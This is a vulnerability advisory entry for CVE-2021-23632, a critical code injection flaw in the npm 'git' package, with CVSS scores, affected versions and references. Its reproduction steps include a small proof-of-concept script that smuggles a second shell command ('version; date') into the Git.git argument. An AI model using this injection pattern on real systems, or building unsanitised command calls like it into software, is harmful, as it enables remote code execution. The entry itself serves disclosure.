CVE-2021-23632
CRITICAL 9.8CVSS 3.1Code injection in npm git
All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.
- Published
- 17 Mar 2022
- Last modified
- 8 Jul 2026
- Assigned by
- report@snyk.io
- NVD status
- Modified
- Weakness
- CWE-78CWE-94
- Also known as
- GHSA-9gqr-xp86-f87hSNYK-JS-GIT-1568518
- Sources
- NVDJSONOSV GHSA-9gqr-xp86-f87hJSON
Scores
| Source | Scored by | Version | Score | Vector / decision |
|---|---|---|---|---|
| NVD | nvd@nist.gov (Primary) | CVSS 3.1 | CRITICAL 9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| NVD | report@snyk.io (Secondary) | CVSS 3.1 | MEDIUM 6.6 | CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H |
| OSV | GitHub | CVSS 3.1 | MEDIUM 6.6 | CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H |
| NVD | nvd@nist.gov (Primary) | CVSS 2.0 | HIGH 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P |
Affected
| Source | Vendor / ecosystem | Product / package | Affected versions | Fixed in |
|---|---|---|---|---|
| NVD | git_project | gitcpe:2.3:a:git_project:git:*:*:*:*:*:node.js:*:* |
<= 0.1.5 | |
| OSV | npm | git | <= 0.1.5 |
References
- https://snyk.io/vuln/SNYK-JS-GIT-1568518 · Exploit, Third Party Advisory, WEB
- https://nvd.nist.gov/vuln/detail/CVE-2021-23632 · ADVISORY
History
- 25 Nov 2026 20:34 UTC · NVD: first stored (published 17 Mar 2022)
- 25 Nov 2026 20:10 UTC · OSV: first stored (published 18 Mar 2022)